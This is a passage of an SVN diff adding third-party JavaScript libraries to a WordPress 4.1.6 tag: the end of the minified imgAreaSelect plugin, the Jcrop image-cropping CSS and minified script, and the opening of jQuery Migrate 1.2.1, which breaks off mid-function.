setOptions(newOptions){if(newOptions.parent)($parent=$(newOptions.parent)).append($box.add($outer));$.extend(options,newOptions);adjust();if(newOptions.handles!=null){$handles.remove();$handles=$([]);i=newOptions.handles?newOptions.handles=='corners'?4:8:0;while(i--)$handles=$handles.add(div());$handles.addClass(options.classPrefix+'-handle').css({position:'absolute',fontSize:0,zIndex:zIndex+1||1});if(!parseInt($handles.css('width'))>=0)$handles.width(5).height(5);if(o=options.borderWidth)$handles.css({borderWidth:o,borderStyle:'solid'});styleOptions($handles,{borderColor1:'border-color',borderColor2:'background-color',borderOpacity:'opacity'})}scaleX=options.imageWidth/imgWidth||1;scaleY=options.imageHeight/imgHeight||1;if(newOptions.x1!=null){setSelection(newOptions.x1,newOptions.y1,newOptions.x2,newOptions.y2);newOptions.show=!newOptions.hide}if(newOptions.keys)options.keys=$.extend({shift:1,ctrl:'resize'},newOptions.keys);$outer.addClass(options.classPrefix+'-outer');$area.addClass(options.classPrefix+'-selection');for(i=0;i++<4;)$($border[i-1]).addClass(options.classPrefix+'-border'+i);styleOptions($area,{selectionColor:'background-color',selectionOpacity:'opacity'});styleOptions($border,{borderOpacity:'opacity',borderWidth:'border-width'});styleOptions($outer,{outerColor:'background-color',outerOpacity:'opacity'});if(o=options.borderColor1)$($border[0]).css({borderStyle:'solid',borderColor:o});if(o=options.borderColor2)$($border[1]).css({borderStyle:'dashed',borderColor:o});$box.append($area.add($border).add($areaOpera)).append($handles);if(msie){if(o=($outer.css('filter')||'').match(/opacity=(\d+)/))$outer.css('opacity',o[1]/100);if(o=($border.css('filter')||'').match(/opacity=(\d+)/))$border.css('opacity',o[1]/100)}if(newOptions.hide)hide($box.add($outer));else if(newOptions.show&&imgLoaded){shown=true;$box.add($outer).fadeIn(options.fadeSpeed||0);doUpdate()}aspectRatio=(d=(options.aspectRatio||'').split(/:/))[0]/d[1];$img.add($outer).unbind('mousedown',imgMouseDown);if(options.disable||options.enable===false){$box.unbind('mousemove',areaMouseMove).unbind('mousedown',areaMouseDown);$(window).unbind('resize',windowResize)}else{if(options.enable||options.disable===false){if(options.resizable||options.movable)$box.mousemove(areaMouseMove).mousedown(areaMouseDown);$(window).resize(windowResize)}if(!options.persistent)$img.add($outer).mousedown(imgMouseDown)}options.enable=options.disable=undefined}this.remove=function(){setOptions({disable:true});$box.add($outer).remove()};this.getOptions=function(){return options};this.setOptions=setOptions;this.getSelection=getSelection;this.setSelection=setSelection;this.cancelSelection=cancelSelection;this.update=doUpdate;var msie=(/msie ([\w.]+)/i.exec(ua)||[])[1],opera=/opera/i.test(ua),safari=/webkit/i.test(ua)&&!/chrome/i.test(ua);$p=$img;while($p.length){zIndex=max(zIndex,!isNaN($p.css('z-index'))?$p.css('z-index'):zIndex);if($p.css('position')=='fixed')position='fixed';$p=$p.parent(':not(body)')}zIndex=options.zIndex||zIndex;if(msie)$img.attr('unselectable','on');$.imgAreaSelect.keyPress=msie||safari?'keydown':'keypress';if(opera)$areaOpera=div().css({width:'100%',height:'100%',position:'absolute',zIndex:zIndex+2||2});$box.add($outer).css({visibility:'hidden',position:position,overflow:'hidden',zIndex:zIndex||'0'});$box.css({zIndex:zIndex+2||2});$area.add($border).css({position:'absolute',fontSize:0});img.complete||img.readyState=='complete'||!$img.is('img')?imgLoad():$img.one('load',imgLoad);if(!imgLoaded&&msie&&msie>=7)img.src=img.src};$.fn.imgAreaSelect=function(options){options=options||{};this.each(function(){if($(this).data('imgAreaSelect')){if(options.remove){$(this).data('imgAreaSelect').remove();$(this).removeData('imgAreaSelect')}else $(this).data('imgAreaSelect').setOptions(options)}else if(!options.remove){if(options.enable===undefined&&options.disable===undefined)options.enable=true;$(this).data('imgAreaSelect',new $.imgAreaSelect(this,options))}});if(options.instance)return $(this).data('imgAreaSelect');return this}})(jQuery);
Index: /tags/4.1.6/src/wp-includes/js/jcrop/jquery.Jcrop.min.css
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jcrop/jquery.Jcrop.min.css	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jcrop/jquery.Jcrop.min.css	(revision 33402)
@@ -0,0 +1,29 @@
+/* jquery.Jcrop.min.css v0.9.12 (build:20130521) */
+.jcrop-holder{-ms-touch-action:none;direction:ltr;text-align:left;}
+.jcrop-vline,.jcrop-hline{background:#FFF url(Jcrop.gif);font-size:0;position:absolute;}
+.jcrop-vline{height:100%;width:1px!important;}
+.jcrop-vline.right{right:0;}
+.jcrop-hline{height:1px!important;width:100%;}
+.jcrop-hline.bottom{bottom:0;}
+.jcrop-tracker{-webkit-tap-highlight-color:transparent;-webkit-touch-callout:none;-webkit-user-select:none;height:100%;width:100%;}
+.jcrop-handle{background-color:#333;border:1px #EEE solid;font-size:1px;height:7px;width:7px;}
+.jcrop-handle.ord-n{left:50%;margin-left:-4px;margin-top:-4px;top:0;}
+.jcrop-handle.ord-s{bottom:0;left:50%;margin-bottom:-4px;margin-left:-4px;}
+.jcrop-handle.ord-e{margin-right:-4px;margin-top:-4px;right:0;top:50%;}
+.jcrop-handle.ord-w{left:0;margin-left:-4px;margin-top:-4px;top:50%;}
+.jcrop-handle.ord-nw{left:0;margin-left:-4px;margin-top:-4px;top:0;}
+.jcrop-handle.ord-ne{margin-right:-4px;margin-top:-4px;right:0;top:0;}
+.jcrop-handle.ord-se{bottom:0;margin-bottom:-4px;margin-right:-4px;right:0;}
+.jcrop-handle.ord-sw{bottom:0;left:0;margin-bottom:-4px;margin-left:-4px;}
+.jcrop-dragbar.ord-n,.jcrop-dragbar.ord-s{height:7px;width:100%;}
+.jcrop-dragbar.ord-e,.jcrop-dragbar.ord-w{height:100%;width:7px;}
+.jcrop-dragbar.ord-n{margin-top:-4px;}
+.jcrop-dragbar.ord-s{bottom:0;margin-bottom:-4px;}
+.jcrop-dragbar.ord-e{margin-right:-4px;right:0;}
+.jcrop-dragbar.ord-w{margin-left:-4px;}
+.jcrop-light .jcrop-vline,.jcrop-light .jcrop-hline{background:#FFF;filter:alpha(opacity=70)!important;opacity:.70!important;}
+.jcrop-light .jcrop-handle{-moz-border-radius:3px;-webkit-border-radius:3px;background-color:#000;border-color:#FFF;border-radius:3px;}
+.jcrop-dark .jcrop-vline,.jcrop-dark .jcrop-hline{background:#000;filter:alpha(opacity=70)!important;opacity:.7!important;}
+.jcrop-dark .jcrop-handle{-moz-border-radius:3px;-webkit-border-radius:3px;background-color:#FFF;border-color:#000;border-radius:3px;}
+.solid-line .jcrop-vline,.solid-line .jcrop-hline{background:#FFF;}
+.jcrop-holder img,img.jcrop-preview{max-width:none;}
Index: /tags/4.1.6/src/wp-includes/js/jcrop/jquery.Jcrop.min.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jcrop/jquery.Jcrop.min.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jcrop/jquery.Jcrop.min.js	(revision 33402)
@@ -0,0 +1,22 @@
+/**
+ * jquery.Jcrop.min.js v0.9.12 (build:20130202)
+ * jQuery Image Cropping Plugin - released under MIT License
+ * Copyright (c) 2008-2013 Tapmodo Interactive LLC
+ * https://github.com/tapmodo/Jcrop
+ */
+(function(a){a.Jcrop=function(b,c){function i(a){return Math.round(a)+"px"}function j(a){return d.baseClass+"-"+a}function k(){return a.fx.step.hasOwnProperty("backgroundColor")}function l(b){var c=a(b).offset();return[c.left,c.top]}function m(a){return[a.pageX-e[0],a.pageY-e[1]]}function n(b){typeof b!="object"&&(b={}),d=a.extend(d,b),a.each(["onChange","onSelect","onRelease","onDblClick"],function(a,b){typeof d[b]!="function"&&(d[b]=function(){})})}function o(a,b,c){e=l(D),bc.setCursor(a==="move"?a:a+"-resize");if(a==="move")return bc.activateHandlers(q(b),v,c);var d=_.getFixed(),f=r(a),g=_.getCorner(r(f));_.setPressed(_.getCorner(f)),_.setCurrent(g),bc.activateHandlers(p(a,d),v,c)}function p(a,b){return function(c){if(!d.aspectRatio)switch(a){case"e":c[1]=b.y2;break;case"w":c[1]=b.y2;break;case"n":c[0]=b.x2;break;case"s":c[0]=b.x2}else switch(a){case"e":c[1]=b.y+1;break;case"w":c[1]=b.y+1;break;case"n":c[0]=b.x+1;break;case"s":c[0]=b.x+1}_.setCurrent(c),bb.update()}}function q(a){var b=a;return bd.watchKeys
+(),function(a){_.moveOffset([a[0]-b[0],a[1]-b[1]]),b=a,bb.update()}}function r(a){switch(a){case"n":return"sw";case"s":return"nw";case"e":return"nw";case"w":return"ne";case"ne":return"sw";case"nw":return"se";case"se":return"nw";case"sw":return"ne"}}function s(a){return function(b){return d.disabled?!1:a==="move"&&!d.allowMove?!1:(e=l(D),W=!0,o(a,m(b)),b.stopPropagation(),b.preventDefault(),!1)}}function t(a,b,c){var d=a.width(),e=a.height();d>b&&b>0&&(d=b,e=b/a.width()*a.height()),e>c&&c>0&&(e=c,d=c/a.height()*a.width()),T=a.width()/d,U=a.height()/e,a.width(d).height(e)}function u(a){return{x:a.x*T,y:a.y*U,x2:a.x2*T,y2:a.y2*U,w:a.w*T,h:a.h*U}}function v(a){var b=_.getFixed();b.w>d.minSelect[0]&&b.h>d.minSelect[1]?(bb.enableHandles(),bb.done()):bb.release(),bc.setCursor(d.allowSelect?"crosshair":"default")}function w(a){if(d.disabled)return!1;if(!d.allowSelect)return!1;W=!0,e=l(D),bb.disableHandles(),bc.setCursor("crosshair");var b=m(a);return _.setPressed(b),bb.update(),bc.activateHandlers(x,v,a.type.substring
+(0,5)==="touch"),bd.watchKeys(),a.stopPropagation(),a.preventDefault(),!1}function x(a){_.setCurrent(a),bb.update()}function y(){var b=a("<div></div>").addClass(j("tracker"));return g&&b.css({opacity:0,backgroundColor:"white"}),b}function be(a){G.removeClass().addClass(j("holder")).addClass(a)}function bf(a,b){function t(){window.setTimeout(u,l)}var c=a[0]/T,e=a[1]/U,f=a[2]/T,g=a[3]/U;if(X)return;var h=_.flipCoords(c,e,f,g),i=_.getFixed(),j=[i.x,i.y,i.x2,i.y2],k=j,l=d.animationDelay,m=h[0]-j[0],n=h[1]-j[1],o=h[2]-j[2],p=h[3]-j[3],q=0,r=d.swingSpeed;c=k[0],e=k[1],f=k[2],g=k[3],bb.animMode(!0);var s,u=function(){return function(){q+=(100-q)/r,k[0]=Math.round(c+q/100*m),k[1]=Math.round(e+q/100*n),k[2]=Math.round(f+q/100*o),k[3]=Math.round(g+q/100*p),q>=99.8&&(q=100),q<100?(bh(k),t()):(bb.done(),bb.animMode(!1),typeof b=="function"&&b.call(bs))}}();t()}function bg(a){bh([a[0]/T,a[1]/U,a[2]/T,a[3]/U]),d.onSelect.call(bs,u(_.getFixed())),bb.enableHandles()}function bh(a){_.setPressed([a[0],a[1]]),_.setCurrent([a[2],
+a[3]]),bb.update()}function bi(){return u(_.getFixed())}function bj(){return _.getFixed()}function bk(a){n(a),br()}function bl(){d.disabled=!0,bb.disableHandles(),bb.setCursor("default"),bc.setCursor("default")}function bm(){d.disabled=!1,br()}function bn(){bb.done(),bc.activateHandlers(null,null)}function bo(){G.remove(),A.show(),A.css("visibility","visible"),a(b).removeData("Jcrop")}function bp(a,b){bb.release(),bl();var c=new Image;c.onload=function(){var e=c.width,f=c.height,g=d.boxWidth,h=d.boxHeight;D.width(e).height(f),D.attr("src",a),H.attr("src",a),t(D,g,h),E=D.width(),F=D.height(),H.width(E).height(F),M.width(E+L*2).height(F+L*2),G.width(E).height(F),ba.resize(E,F),bm(),typeof b=="function"&&b.call(bs)},c.src=a}function bq(a,b,c){var e=b||d.bgColor;d.bgFade&&k()&&d.fadeTime&&!c?a.animate({backgroundColor:e},{queue:!1,duration:d.fadeTime}):a.css("backgroundColor",e)}function br(a){d.allowResize?a?bb.enableOnly():bb.enableHandles():bb.disableHandles(),bc.setCursor(d.allowSelect?"crosshair":"default"),bb
+.setCursor(d.allowMove?"move":"default"),d.hasOwnProperty("trueSize")&&(T=d.trueSize[0]/E,U=d.trueSize[1]/F),d.hasOwnProperty("setSelect")&&(bg(d.setSelect),bb.done(),delete d.setSelect),ba.refresh(),d.bgColor!=N&&(bq(d.shade?ba.getShades():G,d.shade?d.shadeColor||d.bgColor:d.bgColor),N=d.bgColor),O!=d.bgOpacity&&(O=d.bgOpacity,d.shade?ba.refresh():bb.setBgOpacity(O)),P=d.maxSize[0]||0,Q=d.maxSize[1]||0,R=d.minSize[0]||0,S=d.minSize[1]||0,d.hasOwnProperty("outerImage")&&(D.attr("src",d.outerImage),delete d.outerImage),bb.refresh()}var d=a.extend({},a.Jcrop.defaults),e,f=navigator.userAgent.toLowerCase(),g=/msie/.test(f),h=/msie [1-6]\./.test(f);typeof b!="object"&&(b=a(b)[0]),typeof c!="object"&&(c={}),n(c);var z={border:"none",visibility:"visible",margin:0,padding:0,position:"absolute",top:0,left:0},A=a(b),B=!0;if(b.tagName=="IMG"){if(A[0].width!=0&&A[0].height!=0)A.width(A[0].width),A.height(A[0].height);else{var C=new Image;C.src=A[0].src,A.width(C.width),A.height(C.height)}var D=A.clone().removeAttr("id").
+css(z).show();D.width(A.width()),D.height(A.height()),A.after(D).hide()}else D=A.css(z).show(),B=!1,d.shade===null&&(d.shade=!0);t(D,d.boxWidth,d.boxHeight);var E=D.width(),F=D.height(),G=a("<div />").width(E).height(F).addClass(j("holder")).css({position:"relative",backgroundColor:d.bgColor}).insertAfter(A).append(D);d.addClass&&G.addClass(d.addClass);var H=a("<div />"),I=a("<div />").width("100%").height("100%").css({zIndex:310,position:"absolute",overflow:"hidden"}),J=a("<div />").width("100%").height("100%").css("zIndex",320),K=a("<div />").css({position:"absolute",zIndex:600}).dblclick(function(){var a=_.getFixed();d.onDblClick.call(bs,a)}).insertBefore(D).append(I,J);B&&(H=a("<img />").attr("src",D.attr("src")).css(z).width(E).height(F),I.append(H)),h&&K.css({overflowY:"hidden"});var L=d.boundary,M=y().width(E+L*2).height(F+L*2).css({position:"absolute",top:i(-L),left:i(-L),zIndex:290}).mousedown(w),N=d.bgColor,O=d.bgOpacity,P,Q,R,S,T,U,V=!0,W,X,Y;e=l(D);var Z=function(){function a(){var a={},b=["touchstart"
+,"touchmove","touchend"],c=document.createElement("div"),d;try{for(d=0;d<b.length;d++){var e=b[d];e="on"+e;var f=e in c;f||(c.setAttribute(e,"return;"),f=typeof c[e]=="function"),a[b[d]]=f}return a.touchstart&&a.touchend&&a.touchmove}catch(g){return!1}}function b(){return d.touchSupport===!0||d.touchSupport===!1?d.touchSupport:a()}return{createDragger:function(a){return function(b){return d.disabled?!1:a==="move"&&!d.allowMove?!1:(e=l(D),W=!0,o(a,m(Z.cfilter(b)),!0),b.stopPropagation(),b.preventDefault(),!1)}},newSelection:function(a){return w(Z.cfilter(a))},cfilter:function(a){return a.pageX=a.originalEvent.changedTouches[0].pageX,a.pageY=a.originalEvent.changedTouches[0].pageY,a},isSupported:a,support:b()}}(),_=function(){function h(d){d=n(d),c=a=d[0],e=b=d[1]}function i(a){a=n(a),f=a[0]-c,g=a[1]-e,c=a[0],e=a[1]}function j(){return[f,g]}function k(d){var f=d[0],g=d[1];0>a+f&&(f-=f+a),0>b+g&&(g-=g+b),F<e+g&&(g+=F-(e+g)),E<c+f&&(f+=E-(c+f)),a+=f,c+=f,b+=g,e+=g}function l(a){var b=m();switch(a){case"ne":return[
+b.x2,b.y];case"nw":return[b.x,b.y];case"se":return[b.x2,b.y2];case"sw":return[b.x,b.y2]}}function m(){if(!d.aspectRatio)return p();var f=d.aspectRatio,g=d.minSize[0]/T,h=d.maxSize[0]/T,i=d.maxSize[1]/U,j=c-a,k=e-b,l=Math.abs(j),m=Math.abs(k),n=l/m,r,s,t,u;return h===0&&(h=E*10),i===0&&(i=F*10),n<f?(s=e,t=m*f,r=j<0?a-t:t+a,r<0?(r=0,u=Math.abs((r-a)/f),s=k<0?b-u:u+b):r>E&&(r=E,u=Math.abs((r-a)/f),s=k<0?b-u:u+b)):(r=c,u=l/f,s=k<0?b-u:b+u,s<0?(s=0,t=Math.abs((s-b)*f),r=j<0?a-t:t+a):s>F&&(s=F,t=Math.abs(s-b)*f,r=j<0?a-t:t+a)),r>a?(r-a<g?r=a+g:r-a>h&&(r=a+h),s>b?s=b+(r-a)/f:s=b-(r-a)/f):r<a&&(a-r<g?r=a-g:a-r>h&&(r=a-h),s>b?s=b+(a-r)/f:s=b-(a-r)/f),r<0?(a-=r,r=0):r>E&&(a-=r-E,r=E),s<0?(b-=s,s=0):s>F&&(b-=s-F,s=F),q(o(a,b,r,s))}function n(a){return a[0]<0&&(a[0]=0),a[1]<0&&(a[1]=0),a[0]>E&&(a[0]=E),a[1]>F&&(a[1]=F),[Math.round(a[0]),Math.round(a[1])]}function o(a,b,c,d){var e=a,f=c,g=b,h=d;return c<a&&(e=c,f=a),d<b&&(g=d,h=b),[e,g,f,h]}function p(){var d=c-a,f=e-b,g;return P&&Math.abs(d)>P&&(c=d>0?a+P:a-P),Q&&Math.abs
+(f)>Q&&(e=f>0?b+Q:b-Q),S/U&&Math.abs(f)<S/U&&(e=f>0?b+S/U:b-S/U),R/T&&Math.abs(d)<R/T&&(c=d>0?a+R/T:a-R/T),a<0&&(c-=a,a-=a),b<0&&(e-=b,b-=b),c<0&&(a-=c,c-=c),e<0&&(b-=e,e-=e),c>E&&(g=c-E,a-=g,c-=g),e>F&&(g=e-F,b-=g,e-=g),a>E&&(g=a-F,e-=g,b-=g),b>F&&(g=b-F,e-=g,b-=g),q(o(a,b,c,e))}function q(a){return{x:a[0],y:a[1],x2:a[2],y2:a[3],w:a[2]-a[0],h:a[3]-a[1]}}var a=0,b=0,c=0,e=0,f,g;return{flipCoords:o,setPressed:h,setCurrent:i,getOffset:j,moveOffset:k,getCorner:l,getFixed:m}}(),ba=function(){function f(a,b){e.left.css({height:i(b)}),e.right.css({height:i(b)})}function g(){return h(_.getFixed())}function h(a){e.top.css({left:i(a.x),width:i(a.w),height:i(a.y)}),e.bottom.css({top:i(a.y2),left:i(a.x),width:i(a.w),height:i(F-a.y2)}),e.right.css({left:i(a.x2),width:i(E-a.x2)}),e.left.css({width:i(a.x)})}function j(){return a("<div />").css({position:"absolute",backgroundColor:d.shadeColor||d.bgColor}).appendTo(c)}function k(){b||(b=!0,c.insertBefore(D),g(),bb.setBgOpacity(1,0,1),H.hide(),l(d.shadeColor||d.bgColor,1),bb.
+isAwake()?n(d.bgOpacity,1):n(1,1))}function l(a,b){bq(p(),a,b)}function m(){b&&(c.remove(),H.show(),b=!1,bb.isAwake()?bb.setBgOpacity(d.bgOpacity,1,1):(bb.setBgOpacity(1,1,1),bb.disableHandles()),bq(G,0,1))}function n(a,e){b&&(d.bgFade&&!e?c.animate({opacity:1-a},{queue:!1,duration:d.fadeTime}):c.css({opacity:1-a}))}function o(){d.shade?k():m(),bb.isAwake()&&n(d.bgOpacity)}function p(){return c.children()}var b=!1,c=a("<div />").css({position:"absolute",zIndex:240,opacity:0}),e={top:j(),left:j().height(F),right:j().height(F),bottom:j()};return{update:g,updateRaw:h,getShades:p,setBgColor:l,enable:k,disable:m,resize:f,refresh:o,opacity:n}}(),bb=function(){function k(b){var c=a("<div />").css({position:"absolute",opacity:d.borderOpacity}).addClass(j(b));return I.append(c),c}function l(b,c){var d=a("<div />").mousedown(s(b)).css({cursor:b+"-resize",position:"absolute",zIndex:c}).addClass("ord-"+b);return Z.support&&d.bind("touchstart.jcrop",Z.createDragger(b)),J.append(d),d}function m(a){var b=d.handleSize,e=l(a,c++
+).css({opacity:d.handleOpacity}).addClass(j("handle"));return b&&e.width(b).height(b),e}function n(a){return l(a,c++).addClass("jcrop-dragbar")}function o(a){var b;for(b=0;b<a.length;b++)g[a[b]]=n(a[b])}function p(a){var b,c;for(c=0;c<a.length;c++){switch(a[c]){case"n":b="hline";break;case"s":b="hline bottom";break;case"e":b="vline right";break;case"w":b="vline"}e[a[c]]=k(b)}}function q(a){var b;for(b=0;b<a.length;b++)f[a[b]]=m(a[b])}function r(a,b){d.shade||H.css({top:i(-b),left:i(-a)}),K.css({top:i(b),left:i(a)})}function t(a,b){K.width(Math.round(a)).height(Math.round(b))}function v(){var a=_.getFixed();_.setPressed([a.x,a.y]),_.setCurrent([a.x2,a.y2]),w()}function w(a){if(b)return x(a)}function x(a){var c=_.getFixed();t(c.w,c.h),r(c.x,c.y),d.shade&&ba.updateRaw(c),b||A(),a?d.onSelect.call(bs,u(c)):d.onChange.call(bs,u(c))}function z(a,c,e){if(!b&&!c)return;d.bgFade&&!e?D.animate({opacity:a},{queue:!1,duration:d.fadeTime}):D.css("opacity",a)}function A(){K.show(),d.shade?ba.opacity(O):z(O,!0),b=!0}function B
+(){F(),K.hide(),d.shade?ba.opacity(1):z(1),b=!1,d.onRelease.call(bs)}function C(){h&&J.show()}function E(){h=!0;if(d.allowResize)return J.show(),!0}function F(){h=!1,J.hide()}function G(a){a?(X=!0,F()):(X=!1,E())}function L(){G(!1),v()}var b,c=370,e={},f={},g={},h=!1;d.dragEdges&&a.isArray(d.createDragbars)&&o(d.createDragbars),a.isArray(d.createHandles)&&q(d.createHandles),d.drawBorders&&a.isArray(d.createBorders)&&p(d.createBorders),a(document).bind("touchstart.jcrop-ios",function(b){a(b.currentTarget).hasClass("jcrop-tracker")&&b.stopPropagation()});var M=y().mousedown(s("move")).css({cursor:"move",position:"absolute",zIndex:360});return Z.support&&M.bind("touchstart.jcrop",Z.createDragger("move")),I.append(M),F(),{updateVisible:w,update:x,release:B,refresh:v,isAwake:function(){return b},setCursor:function(a){M.css("cursor",a)},enableHandles:E,enableOnly:function(){h=!0},showHandles:C,disableHandles:F,animMode:G,setBgOpacity:z,done:L}}(),bc=function(){function f(b){M.css({zIndex:450}),b?a(document).bind("touchmove.jcrop"
+,k).bind("touchend.jcrop",l):e&&a(document).bind("mousemove.jcrop",h).bind("mouseup.jcrop",i)}function g(){M.css({zIndex:290}),a(document).unbind(".jcrop")}function h(a){return b(m(a)),!1}function i(a){return a.preventDefault(),a.stopPropagation(),W&&(W=!1,c(m(a)),bb.isAwake()&&d.onSelect.call(bs,u(_.getFixed())),g(),b=function(){},c=function(){}),!1}function j(a,d,e){return W=!0,b=a,c=d,f(e),!1}function k(a){return b(m(Z.cfilter(a))),!1}function l(a){return i(Z.cfilter(a))}function n(a){M.css("cursor",a)}var b=function(){},c=function(){},e=d.trackDocument;return e||M.mousemove(h).mouseup(i).mouseout(i),D.before(M),{activateHandlers:j,setCursor:n}}(),bd=function(){function e(){d.keySupport&&(b.show(),b.focus())}function f(a){b.hide()}function g(a,b,c){d.allowMove&&(_.moveOffset([b,c]),bb.updateVisible(!0)),a.preventDefault(),a.stopPropagation()}function i(a){if(a.ctrlKey||a.metaKey)return!0;Y=a.shiftKey?!0:!1;var b=Y?10:1;switch(a.keyCode){case 37:g(a,-b,0);break;case 39:g(a,b,0);break;case 38:g(a,0,-b);break;
+case 40:g(a,0,b);break;case 27:d.allowSelect&&bb.release();break;case 9:return!0}return!1}var b=a('<input type="radio" />').css({position:"fixed",left:"-120px",width:"12px"}).addClass("jcrop-keymgr"),c=a("<div />").css({position:"absolute",overflow:"hidden"}).append(b);return d.keySupport&&(b.keydown(i).blur(f),h||!d.fixedSupport?(b.css({position:"absolute",left:"-20px"}),c.append(b).insertBefore(D)):b.insertBefore(D)),{watchKeys:e}}();Z.support&&M.bind("touchstart.jcrop",Z.newSelection),J.hide(),br(!0);var bs={setImage:bp,animateTo:bf,setSelect:bg,setOptions:bk,tellSelect:bi,tellScaled:bj,setClass:be,disable:bl,enable:bm,cancel:bn,release:bb.release,destroy:bo,focus:bd.watchKeys,getBounds:function(){return[E*T,F*U]},getWidgetSize:function(){return[E,F]},getScaleFactor:function(){return[T,U]},getOptions:function(){return d},ui:{holder:G,selection:K}};return g&&G.bind("selectstart",function(){return!1}),A.data("Jcrop",bs),bs},a.fn.Jcrop=function(b,c){var d;return this.each(function(){if(a(this).data("Jcrop")){if(
+b==="api")return a(this).data("Jcrop");a(this).data("Jcrop").setOptions(b)}else this.tagName=="IMG"?a.Jcrop.Loader(this,function(){a(this).css({display:"block",visibility:"hidden"}),d=a.Jcrop(this,b),a.isFunction(c)&&c.call(d)}):(a(this).css({display:"block",visibility:"hidden"}),d=a.Jcrop(this,b),a.isFunction(c)&&c.call(d))}),this},a.Jcrop.Loader=function(b,c,d){function g(){f.complete?(e.unbind(".jcloader"),a.isFunction(c)&&c.call(f)):window.setTimeout(g,50)}var e=a(b),f=e[0];e.bind("load.jcloader",g).bind("error.jcloader",function(b){e.unbind(".jcloader"),a.isFunction(d)&&d.call(f)}),f.complete&&a.isFunction(c)&&(e.unbind(".jcloader"),c.call(f))},a.Jcrop.defaults={allowSelect:!0,allowMove:!0,allowResize:!0,trackDocument:!0,baseClass:"jcrop",addClass:null,bgColor:"black",bgOpacity:.6,bgFade:!1,borderOpacity:.4,handleOpacity:.5,handleSize:null,aspectRatio:0,keySupport:!0,createHandles:["n","s","e","w","nw","ne","se","sw"],createDragbars:["n","s","e","w"],createBorders:["n","s","e","w"],drawBorders:!0,dragEdges
+:!0,fixedSupport:!0,touchSupport:null,shade:null,boxWidth:0,boxHeight:0,boundary:2,fadeTime:400,animationDelay:20,swingSpeed:3,minSelect:[0,0],maxSize:[0,0],minSize:[0,0],onChange:function(){},onSelect:function(){},onDblClick:function(){},onRelease:function(){}}})(jQuery);
Index: /tags/4.1.6/src/wp-includes/js/jquery/jquery-migrate.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/jquery-migrate.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/jquery-migrate.js	(revision 33402)
@@ -0,0 +1,521 @@
+/*!
+ * jQuery Migrate - v1.2.1 - 2013-05-08
+ * https://github.com/jquery/jquery-migrate
+ * Copyright 2005, 2013 jQuery Foundation, Inc. and other contributors; Licensed MIT
+ */
+(function( jQuery, window, undefined ) {
+// See http://bugs.jquery.com/ticket/13335
+// "use strict";
+
+
+var warnedAbout = {};
+
+// List of warnings already given; public read only
+jQuery.migrateWarnings = [];
+
+// Set to true to prevent console output; migrateWarnings still maintained
+// jQuery.migrateMute = false;
+
+// Show a message on the console so devs know we're active
+if ( !jQuery.migrateMute && window.console && window.console.log ) {
+	window.console.log("JQMIGRATE: Logging is active");
+}
+
+// Set to false to disable traces that appear with warnings
+if ( jQuery.migrateTrace === undefined ) {
+	jQuery.migrateTrace = true;
+}
+
+// Forget any warnings we've already given; public
+jQuery.migrateReset = function() {
+	warnedAbout = {};
+	jQuery.migrateWarnings.length = 0;
+};
+
+function migrateWarn( msg) {
+	var console = window.console;
+	if ( !warnedAbout[ msg ] ) {
+		warnedAbout[ msg ] = true;
+		jQuery.migrateWarnings.push( msg );
+		if ( console && console.warn && !jQuery.migrateMute ) {
+			console.warn( "JQMIGRATE: " + msg );
+			if ( jQuery.migrateTrace && console.trace ) {
+				console.trace();
+			}
+		}
+	}
+}
+
+function migrateWarnProp( obj, prop, value, msg ) {
+	if ( Object.defineProperty ) {
+		// On ES5 browsers (non-oldIE), warn if the code tries to get prop;
+		// allow property to be overwritten in case some other plugin wants it
+		try {
+			Object.defineProperty( obj, prop, {
+				configurable: true,
+				enumerable: true,
+				get: function() {
+					migrateWarn( msg );
+					return value;
+				},
+				set: function( newValue ) {
+					migrateWarn( msg );
+					value = newValue;
+				}
+			});
+			return;
+		} catch( err ) {
+			// IE8 is a dope about Object.defineProperty, can't warn there
+		}
+	}
+
+	// Non-ES5 (or broken) browser; just set the property
+	jQuery._definePropertyBroken = true;
+	obj[ prop ] = value;
+}
+
+if ( document.compatMode === "BackCompat" ) {
+	// jQuery has never supported or tested Quirks Mode
+	migrateWarn( "jQuery is not compatible with Quirks Mode" );
+}
+
+
+var attrFn = jQuery( "<input/>", { size: 1 } ).attr("size") && jQuery.attrFn,
+	oldAttr = jQuery.attr,
+	valueAttrGet = jQuery.attrHooks.value && jQuery.attrHooks.value.get ||
+		function() { return null; },
+	valueAttrSet = jQuery.attrHooks.value && jQuery.attrHooks.value.set ||
+		function() { return undefined; },
+	rnoType = /^(?:input|button)$/i,
+	rnoAttrNodeType = /^[238]$/,
+	rboolean = /^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,
+	ruseDefault = /^(?:checked|selected)$/i;
+
+// jQuery.attrFn
+migrateWarnProp( jQuery, "attrFn", attrFn || {}, "jQuery.attrFn is deprecated" );
+
+jQuery.attr = function( elem, name, value, pass ) {
+	var lowerName = name.toLowerCase(),
+		nType = elem && elem.nodeType;
+
+	if ( pass ) {
+		// Since pass is used internally, we only warn for new jQuery
+		// versions where there isn't a pass arg in the formal params
+		if ( oldAttr.length < 4 ) {
+			migrateWarn("jQuery.fn.attr( props, pass ) is deprecated");
+		}
+		if ( elem && !rnoAttrNodeType.test( nType ) &&
+			(attrFn ? name in attrFn : jQuery.isFunction(jQuery.fn[name])) ) {
+			return jQuery( elem )[ name ]( value );
+		}
+	}
+
+	// Warn if user tries to set `type`, since it breaks on IE 6/7/8; by checking
+	// for disconnected elements we don't warn on $( "<button>", { type: "button" } ).
+	if ( name === "type" && value !== undefined && rnoType.test( elem.nodeName ) && elem.parentNode ) {
+		migrateWarn("Can't change the 'type' of an input or button in IE 6/7/8");
+	}
+
+	// Restore boolHook for boolean property/attribute synchronization
+	if ( !jQuery.attrHooks[ lowerName ] && rboolean.test( lowerName ) ) {
+		jQuery.attrHooks[ lowerName ] = {
+			get: function( elem, name ) {
+				// Align boolean attributes with corresponding properties
+				// Fall back to attribute presence where some booleans are not supported
+				var attrNode,
+					property = jQuery.prop( elem, name );
+				return property === true || typeof property !== "boolean" &&
+					( attrNode = elem.getAttributeNode(name) ) && attrNode.nodeValue !== false ?
+
+					name.toLowerCase() :
+					undefined;
+			},
